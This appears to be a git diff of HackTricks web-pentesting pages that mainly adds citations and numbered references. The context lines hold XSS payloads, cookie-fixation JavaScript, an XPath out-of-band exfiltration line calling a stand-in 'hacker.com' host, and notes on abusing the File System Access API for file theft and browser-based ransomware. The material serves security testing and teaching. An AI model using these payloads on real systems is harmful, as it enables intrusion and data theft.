-Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters.
+Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters.<sup>[[1]](#references)[[4]](#references)</sup>
### Dangerous conditions
@@ -156,11 +156,11 @@ Unicode characters are usually represented with the **`\u` prefix**. For example
You could use this technique to **inject any kind of char** if the backend is vulnerable. Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.
-This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
+This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)<sup>[[5]](#references)</sup>
## Emoji injection
-Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`.
+Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`.<sup>[[6]](#references)</sup>
In that case, the server removed malicious characters and then **converted the UTF-8 string from Windows-1252 to UTF-8** (input/convert encoding mismatch). This did not immediately generate a proper `<`, just a weird Unicode quote-like character: `‹`.
@@ -180,8 +180,11 @@ echo iconv('UTF-8', 'ASCII//TRANSLIT', mb_convert_encoding($a, 'UTF-8', 'Windows
## References
-- [Synacktiv - The SQL Server Unicode problem: why your data might not be what you think it is?](https://synacktiv.com/en/publications/the-sql-server-unicode-problem-why-your-data-might-not-be-what-you-think-it-is.html)
-- [HackTricks - Unicode normalization](unicode-normalization.md)
-- [Unicode Explorer](https://unicode-explorer.com/)
-- [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
+- [1] [Synacktiv - The SQL Server Unicode problem: why your data might not be what you think it is?](https://synacktiv.com/en/publications/the-sql-server-unicode-problem-why-your-data-might-not-be-what-you-think-it-is.html)
+- [2] [HackTricks - Unicode normalization](unicode-normalization.md)
+- [3] [Unicode Explorer](https://unicode-explorer.com/)
+- [4] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
+- [5] [In-depth explanation of the \u to % Unicode injection (video)](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
+- [6] [How I found an XSS vulnerability via using emojis](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md
index 343b8c4427b..546a572e516 100644
--- a/src/pentesting-web/unicode-injection/unicode-normalization.md
+++ b/src/pentesting-web/unicode-injection/unicode-normalization.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there).
+**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there).<sup>[[7]](#references)</sup>
## Understanding Unicode and Normalization
@@ -56,7 +56,7 @@ for c in ["\u212A", "\uFF07", "\uFF02", "\uFF0F", "\uFE64", "\uFE65", "\u00AD"]:
Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.
-Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:
+Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:<sup>[[3]](#references)[[7]](#references)</sup>
.png>)
@@ -113,7 +113,7 @@ A very common real-world pattern is **not** direct SQLi/XSS but **cross-endpoint
2. **Login / password reset / admin search / SSO callback** canonicalizes with NFC/NFKC, `casefold()`, IDNA or a custom transliteration library
3. The uniqueness check, lookup or session binding hits the **wrong account**
-When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.
+When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.<sup>[[1]](#references)</sup>
### Fuzzing Regexes
@@ -130,7 +130,7 @@ recollapse -m 3,6,7 -e 1 'https://legit.example.com'
echo '<svg/onload=alert(1)>' | recollapse | ffuf -w - -u 'https://target/?q=FUZZ' -mc all
```
-For more info check the [**github repo**](https://github.com/0xacb/recollapse) and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
+For more info check the [**github repo**](https://github.com/0xacb/recollapse) and this [**post**](https://0xacb.com/2022/11/21/recollapse/).<sup>[[8]](#references)</sup>
### Cookie / prefix confusion with Unicode whitespace
@@ -141,11 +141,11 @@ document.cookie = `${String.fromCodePoint(0x2000)}__Host-session=fixated; Domain
document.cookie = `${String.fromCodePoint(0x00A0)}__Secure-session=fixated; Domain=.example.com; Path=/; Secure`;
```
-This is highly implementation-dependent, but recent research showed that some server-side frameworks trim a surprisingly wide range of Unicode whitespace while browsers do not all enforce prefix rules the same way. Treat this as a **parser discrepancy / canonicalization** test whenever cookies are security-critical.
+This is highly implementation-dependent, but recent research showed that some server-side frameworks trim a surprisingly wide range of Unicode whitespace while browsers do not all enforce prefix rules the same way. Treat this as a **parser discrepancy / canonicalization** test whenever cookies are security-critical.<sup>[[5]](#references)</sup>
### Best-Fit / WorstFit translations on Windows
-This is **not** standard Unicode normalization, but the exploitation pattern is identical: a security control sees a **safe Unicode character**, and a later Unicode-to-ANSI conversion turns it into dangerous ASCII. On Windows, `U+00AD` (**soft hyphen**) can become `-` on code pages such as **932 / 936 / 950**, which recently led to practical **argument injection** and can also affect **path traversal**, **argument splitting**, and **environment-variable confusion** when ANSI APIs are reached later.
+This is **not** standard Unicode normalization, but the exploitation pattern is identical: a security control sees a **safe Unicode character**, and a later Unicode-to-ANSI conversion turns it into dangerous ASCII. On Windows, `U+00AD` (**soft hyphen**) can become `-` on code pages such as **932 / 936 / 950**, which recently led to practical **argument injection** and can also affect **path traversal**, **argument splitting**, and **environment-variable confusion** when ANSI APIs are reached later.<sup>[[6]](#references)</sup>
Practical probes:
@@ -155,7 +155,7 @@ Practical probes:
## Unicode Overflow
-From this [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), the maximum value of a byte is 255, if the server is vulnerable, an overflow can be crafted to produce a specific and unexpected ASCII character. For example, the following characters will be converted to `A`:
+From this [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), the maximum value of a byte is 255, if the server is vulnerable, an overflow can be crafted to produce a specific and unexpected ASCII character. For example, the following characters will be converted to `A`:<sup>[[4]](#references)</sup>
- 0x4e41
- 0x4f41
@@ -168,15 +168,17 @@ This is especially interesting when a sink stores a Unicode value in a **single
String.fromCharCode(0x10000 + 0x31, 0x10000 + 0x33, 0x10000 + 0x33, 0x10000 + 0x37) // 1337
```
-PortSwigger also added checks/helpers for this class in **ActiveScan++**, **Hackvertor**, and the **Shazzer** Unicode table, so it is worth automating whenever you find brittle ASCII blocklists.
+PortSwigger also added checks/helpers for this class in **ActiveScan++**, **Hackvertor**, and the **Shazzer** Unicode table, so it is worth automating whenever you find brittle ASCII blocklists.<sup>[[4]](#references)</sup>
## References
-- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
-- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
-- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
-- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
-- [https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
-- [https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
+- [1] [Creative usernames and Spotify account hijacking](https://labs.spotify.com/2013/06/18/creative-usernames/)
+- [2] [Why does directory traversal attack "%c0%af" work?](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
+- [3] [Bypass WAF with Unicode normalization](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
+- [4] [Bypassing character blocklists with Unicode overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
+- [5] [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
+- [6] [WorstFit: Unveiling Hidden Transformers in Windows ANSI](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
+- [7] [Unicode Normalization Vulnerabilities: The "Special K" Polyglot](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
+- [8] [RECOLLAPSE: fuzzing normalization/canonicalization endpoints](https://0xacb.com/2022/11/21/recollapse/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md
index c0a863d1e35..8adf59dea6d 100644
--- a/src/pentesting-web/uuid-insecurities.md
+++ b/src/pentesting-web/uuid-insecurities.md
@@ -23,7 +23,7 @@ UUIDs are designed to be unique and **hard to guess**. They are structured in a
## Sandwich attack
-The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.
+The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.<sup>[[1]](#references)</sup>
### Example
@@ -60,7 +60,7 @@ Imagine a web application that uses UUID v1 for generating password reset links.
## References
-- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
+- [1] [Universally Unique IDentifiers (UUIDs): Are Yours Secure?](https://versprite.com/blog/universally-unique-identifiers/)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/web-tool-wfuzz.md b/src/pentesting-web/web-tool-wfuzz.md
index 0010e8f6165..f6093f1bc81 100644
--- a/src/pentesting-web/web-tool-wfuzz.md
+++ b/src/pentesting-web/web-tool-wfuzz.md
@@ -19,7 +19,7 @@ pip install -U wfuzz
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
-> If `pip install wfuzz` breaks in recent Python environments, upgrade to the latest upstream release first (`pip install -U wfuzz`).
+> If `pip install wfuzz` breaks in recent Python environments, upgrade to the latest upstream release first (`pip install -U wfuzz`).<sup>[[1]](#references)</sup>
## Filtering options
@@ -40,7 +40,7 @@ Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
### Baseline filtering (`BBB`)
-Very useful when the application answers every invalid request with the **same** `200`, `302` or custom error page.
+Very useful when the application answers every invalid request with the **same** `200`, `302` or custom error page.<sup>[[2]](#references)</sup>
```bash
# Baseline the response using a value that should not exist
@@ -85,7 +85,7 @@ wfuzz -e encoders # Prints the available encoders
# Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
```
-In order to use an encoder, you have to indicate it in the **`-w`** or **`-z`** option.
+In order to use an encoder, you have to indicate it in the **`-w`** or **`-z`** option.<sup>[[2]](#references)</sup>
Examples:
@@ -259,7 +259,7 @@ wfuzz --recipe /tmp/wfuzz.recipe -b 'session=abc123'
## References
-- [https://github.com/xmendez/wfuzz/releases](https://github.com/xmendez/wfuzz/releases)
-- [https://wfuzz.readthedocs.io/en/latest/user/advanced.html](https://wfuzz.readthedocs.io/en/latest/user/advanced.html)
+- [1] [Wfuzz Releases (GitHub)](https://github.com/xmendez/wfuzz/releases)
+- [2] [Wfuzz - Advanced usage documentation](https://wfuzz.readthedocs.io/en/latest/user/advanced.html)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index 64888addada..c66ba29d10d 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -62,7 +62,7 @@ pocs-and-polygloths-cheatsheet/
When a reflection bug lands in a **modern SPA**, spend a few extra minutes on the browser-managed primitives and native bridges the page already owns:
-- **Service workers**: inspect the active registration path, effective scope, and any `Service-Worker-Allowed` broadening. A low-impact HTML injection or DOM clobbering bug can become **origin-wide persistence** if the page registers a worker or feeds attacker-controlled values into `importScripts()`.
+- **Service workers**: inspect the active registration path, effective scope, and any `Service-Worker-Allowed` broadening. A low-impact HTML injection or DOM clobbering bug can become **origin-wide persistence** if the page registers a worker or feeds attacker-controlled values into `importScripts()`.<sup>[[3]](#references)</sup>
- **WASM / Emscripten modules**: fuzz length, offset, and type conversions crossing the **JS ↔ WASM** boundary. In practice, a memory bug in linear memory may let you overwrite **trusted HTML templates or state objects** and upgrade a constrained client-side bug into DOM XSS.
- **Generated clients**: minified bundles frequently disclose GraphQL persisted-query hashes, gRPC-Web method paths, `postMessage` handlers, WebSocket event names, and hidden admin routes even when the UI never exposes them.
@@ -70,21 +70,21 @@ For deeper exploitation ideas, check [Abusing Service Workers](xss-cross-site-sc
#### File System Access API: browser-native file read/write abuse
-Chromium-family browsers expose **`showOpenFilePicker()`**, **`showSaveFilePicker()`**, and **`showDirectoryPicker()`** to trusted pages in a **secure context** and after a **user gesture**. If a target web app, phishing lure, or malicious dependency can convince the user to approve a directory with **readwrite** access, the page can operate on the selected files **without dropping a native payload**.
+Chromium-family browsers expose **`showOpenFilePicker()`**, **`showSaveFilePicker()`**, and **`showDirectoryPicker()`** to trusted pages in a **secure context** and after a **user gesture**. If a target web app, phishing lure, or malicious dependency can convince the user to approve a directory with **readwrite** access, the page can operate on the selected files **without dropping a native payload**.<sup>[[5]](#references)[[6]](#references)[[7]](#references)</sup>
Practical abuse patterns:
- Enumerate the selected directory with **`for await (const [name, handle] of dirHandle.entries())`** or `values()`, recurse into subdirectories, and filter by extension/MIME.
- Read file contents with **`handle.getFile()`** and `text()`, `arrayBuffer()`, or `stream()`, then exfiltrate through `fetch`, XHR, or `sendBeacon`.
-- Overwrite files with **`createWritable()`** after a `queryPermission()` / `requestPermission({mode: 'readwrite'})` flow. This is the primitive that enables **browser-native ransomware** or destructive tampering.
+- Overwrite files with **`createWritable()`** after a `queryPermission()` / `requestPermission({mode: 'readwrite'})` flow. This is the primitive that enables **browser-native ransomware** or destructive tampering.<sup>[[5]](#references)[[9]](#references)</sup>
- Check **IndexedDB** for serialized `FileSystemFileHandle` / `FileSystemDirectoryHandle` objects because legitimate apps often persist handles and later reuse them after `queryPermission()` / `requestPermission()` checks.
- Review the UX around picker prompts: fake **AI upscalers**, editors, and media tools can plausibly ask for an input file first and an **output folder** second, making the write warning look legitimate.
Important boundaries:
-- This is **not arbitrary disk access**. Chromium blocks or constrains many sensitive locations, but user-chosen media folders can still be high-value targets. In recent public research, **Pictures**, **Videos**, and Android **`DCIM`** roots were practical lure targets.
+- This is **not arbitrary disk access**. Chromium blocks or constrains many sensitive locations, but user-chosen media folders can still be high-value targets. In recent public research, **Pictures**, **Videos**, and Android **`DCIM`** roots were practical lure targets.<sup>[[5]](#references)[[9]](#references)</sup>
- A normal web page still cannot become native malware: global keylogging, arbitrary desktop screenshots, and OS persistence remain outside the browser sandbox unless another vulnerability is present. The real primitive is **user-approved local file read/write**.
-- Browser support is concentrated in **Chromium**. Chrome shipped the API on desktop in **Chrome 86** and extended it to **Android/WebView in Chrome 132**; Firefox and Safari do not expose the same picker methods.
+- Browser support is concentrated in **Chromium**. Chrome shipped the API on desktop in **Chrome 86** and extended it to **Android/WebView in Chrome 132**; Firefox and Safari do not expose the same picker methods.<sup>[[7]](#references)[[8]](#references)</sup>
### **Search functionalities**
@@ -110,7 +110,7 @@ When a websocket posts a message or a form allowing users to perform actions vul
#### Cross-site WebSocket hijacking & localhost abuse
-WebSocket upgrades automatically forward cookies and do not block `ws://127.0.0.1`, so **any web origin can drive desktop IPC endpoints** that skip `Origin` validation. When you spot a launcher exposing a JSON-RPC-like API through a local agent:
+WebSocket upgrades automatically forward cookies and do not block `ws://127.0.0.1`, so **any web origin can drive desktop IPC endpoints** that skip `Origin` validation.<sup>[[1]](#references)</sup> When you spot a launcher exposing a JSON-RPC-like API through a local agent:
- Observe emitted frames to clone the `type`/`name`/`args` tuples required by each method.
- Bruteforce the listening port directly from the browser (Chromium will handle ~16k failed upgrades) until a loopback socket answers with the protocol banner—Firefox tends to crash quickly under the same load.
@@ -120,7 +120,7 @@ If you can pass arbitrary JVM flags (such as `AdditionalJavaArguments`), force a
### Installers / setup wizards / recovery leftovers
-First-run installers and recovery endpoints are often forgotten in production. If a live application still exposes paths such as `/install/`, `/setup/`, `/init/`, `/admin/install`, `/setup/setupadministrator.action`, or readable config files such as `/config/database.php`, treat them as **high-value takeover primitives** instead of low-value information leaks.
+First-run installers and recovery endpoints are often forgotten in production. If a live application still exposes paths such as `/install/`, `/setup/`, `/init/`, `/admin/install`, `/setup/setupadministrator.action`, or readable config files such as `/config/database.php`, treat them as **high-value takeover primitives** instead of low-value information leaks.<sup>[[2]](#references)</sup>
Checks to perform:
@@ -196,7 +196,7 @@ Passkeys are **origin-bound**, so the usual bug is not "steal the secret" but **
- Try **registration/login confusion**: start a WebAuthn ceremony in one account or browser, then complete it from another session and check whether the signed challenge is still bound to the correct user, RP, and browser state.
- Treat **QR, device-code, wallet, and cross-device approvals** exactly like password-reset tokens: check replay, stale approvals, session swapping, and whether a completed ceremony authenticates a browser different from the one that initiated it.
-- If you already have **XSS or strong clickjacking** on the relying-party origin, test whether you can drive extension/browser UI to approve a legitimate passkey login for the victim without exposing the credential material.
+- If you already have **XSS or strong clickjacking** on the relying-party origin, test whether you can drive extension/browser UI to approve a legitimate passkey login for the victim without exposing the credential material.<sup>[[4]](#references)</sup>
See [Account Takeover](account-takeover.md#qr--cross-device-login-flows) and [Clickjacking](clickjacking.md#browser-extensions-dom-based-autofill-clickjacking) for concrete attack patterns.
@@ -292,15 +292,15 @@ Modern applications extend into browsers, wallets, and automation pipelines—ke
## References
-- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
-- [I Accidentally Logged as Admin Into a Threat Actor Website](https://potato.id/en/posts/i-accidentally-logged-into-threat-actor-website)
-- [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
-- [Security advisory: Passkey Dialog Clickjacking Issue](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue)
-- [Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique](https://research.checkpoint.com/2026/browser-only-ransomware-from-llm-hallucinations-to-a-practical-attack-technique/)
-- [File System Access specification](https://wicg.github.io/file-system-access/)
-- [The File System Access API: simplifying access to local files](https://developer.chrome.com/docs/capabilities/web-apis/file-system-access)
-- [Chrome 132 release notes](https://developer.chrome.com/release-notes/132)
-- [RøB: Ransomware over Modern Web Browsers](https://www.usenix.org/conference/usenixsecurity23/presentation/oz)
+- [1] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
+- [2] [I Accidentally Logged as Admin Into a Threat Actor Website](https://potato.id/en/posts/i-accidentally-logged-into-threat-actor-website)
+- [3] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
+- [4] [Security advisory: Passkey Dialog Clickjacking Issue](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue)
+- [5] [Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique](https://research.checkpoint.com/2026/browser-only-ransomware-from-llm-hallucinations-to-a-practical-attack-technique/)
+- [6] [File System Access specification](https://wicg.github.io/file-system-access/)
+- [7] [The File System Access API: simplifying access to local files](https://developer.chrome.com/docs/capabilities/web-apis/file-system-access)
+- [8] [Chrome 132 release notes](https://developer.chrome.com/release-notes/132)
+- [9] [RøB: Ransomware over Modern Web Browsers](https://www.usenix.org/conference/usenixsecurity23/presentation/oz)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md
index c14e7b8ba6f..d01a44fabaf 100644
--- a/src/pentesting-web/xpath-injection.md
+++ b/src/pentesting-web/xpath-injection.md
@@ -4,11 +4,11 @@
## Basic Syntax
-An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.
+An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.<sup>[[2]](#references)</sup>
### Nodes Described
-Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:
+Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:<sup>[[3]](#references)</sup>
- **nodename**: All nodes with the name "nodename" are selected.
- **/**: Selection is made from the root node.
@@ -19,7 +19,7 @@ Expressions are used to select various nodes in an XML document. These expressio
### XPath Examples
-Examples of path expressions and their results include:
+Examples of path expressions and their results include:<sup>[[3]](#references)</sup>
- **bookstore**: All nodes named "bookstore" are selected.
- **/bookstore**: The root element bookstore is selected. It's noted that an absolute path to an element is represented by a path starting with a slash (/).
@@ -30,7 +30,7 @@ Examples of path expressions and their results include:
### Utilization of Predicates
-Predicates are used to refine selections:
+Predicates are used to refine selections:<sup>[[3]](#references)</sup>
- **/bookstore/book\[1]**: The first book element child of the bookstore element is selected. A workaround for IE versions 5 to 9, which index the first node as \[0], is setting the SelectionLanguage to XPath through JavaScript.
- **/bookstore/book\[last()]**: The last book element child of the bookstore element is selected.
@@ -43,7 +43,7 @@ Predicates are used to refine selections:
### Handling of Unknown Nodes
-Wildcards are employed for matching unknown nodes:
+Wildcards are employed for matching unknown nodes:<sup>[[3]](#references)</sup>
- **\***: Matches any element node.
- **@**\*: Matches any attribute node.
@@ -200,7 +200,7 @@ string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/tex
## String extraction
-The output contains strings and the user can manipulate the values to search:
+The output contains strings and the user can manipulate the values to search:<sup>[[1]](#references)</sup>
```
/user/username[contains(., '+VALUE+')]
@@ -286,9 +286,9 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
## References
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
-- [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection\_(OTG-INPVAL-010)](<https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)>)
-- [https://www.w3schools.com/xml/xpath_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
+- [1] [PayloadsAllTheThings - XPATH Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
+- [2] [OWASP - Testing for XPath Injection (OTG-INPVAL-010)](<https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)>)
+- [3] [XPath Syntax - w3schools](https://www.w3schools.com/xml/xpath_syntax.asp)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
index 6af32f86871..75459e5cf55 100644
--- a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
+++ b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenge mentioned in the following page:
+In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenge mentioned in the following page:<sup>[[3]](#references)</sup>
{{#ref}}
connection-pool-example.md
{{#endref}}
-Let's see how this exploit works:
+Let's see how this exploit works:<sup>[[2]](#references)</sup>
- The attacker injects a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 requests to saturate that destination queue).
- Then, the attacker **removes** the **note** with index 1.
@@ -134,6 +134,7 @@ That makes this variant useful in scenarios where the attacker can get **HTML re
## References
-- [XS-Leaks Wiki - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
-- [Huli - SekaiCTF 2022 - safelist writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
+- [1] [XS-Leaks Wiki - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
+- [2] [Huli - SekaiCTF 2022 - safelist writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
+- [3] [terjanq - safelist connection-pool-by-destination exploit (gist)](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
index 0a1409bb1ae..b6da55239f2 100644
--- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
+++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
@@ -16,7 +16,7 @@ When does this work
- The server reacts differently on the two states and, with inflated headers/URL, one state crosses a limit and returns an error response that triggers onerror.
Note on server errors used as the oracle
-- 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. See [MDN’s 431 entry](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) for typical causes like excessive cookies.
+- 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. See [MDN’s 431 entry](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) for typical causes like excessive cookies.<sup>[[2]](#references)</sup>
<details>
<summary>Practical example (angstromCTF 2022)</summary>
@@ -84,7 +84,7 @@ Why the popup (`window.open`)?
- Modern browsers increasingly block third-party cookies. Opening a top-level window to the target makes cookies first‑party so Set-Cookie responses from the target will stick, enabling the cookie-bomb step even with third‑party cookie restrictions.
2024–2025 notes on cookie availability
-- Chrome’s Tracking Protection rollout (January 2024) is already blocking third-party cookies for a random cohort and is slated to expand to the entire user base once the UK CMA signs off, so assume any victim can abruptly lose 3P cookies. Automate the fallback: detect when your script probe fails without ever hitting the target and transparently pivot to the popup/first-party flow. Safari and Firefox already block most third-party cookies by default and CHIPS/partitioned cookies mean each top-level site now has its own jar.
+- Chrome’s Tracking Protection rollout (January 2024) is already blocking third-party cookies for a random cohort and is slated to expand to the entire user base once the UK CMA signs off, so assume any victim can abruptly lose 3P cookies. Automate the fallback: detect when your script probe fails without ever hitting the target and transparently pivot to the popup/first-party flow. Safari and Firefox already block most third-party cookies by default and CHIPS/partitioned cookies mean each top-level site now has its own jar.<sup>[[5]](#references)</sup>
- Use a first‑party cookie planting flow (`window.open` + auto-submit to a cookie-setting endpoint) and then probe with a subresource that only succeeds when those cookies are sent. If third‑party cookies are blocked, move the probe into a same-site context (e.g., run the oracle in the popup via a same-site gadget and exfiltrate the boolean with `postMessage` or a beacon to your server), or enroll the victim origin in Chrome’s deprecation trial if you legitimately control it.
<details>
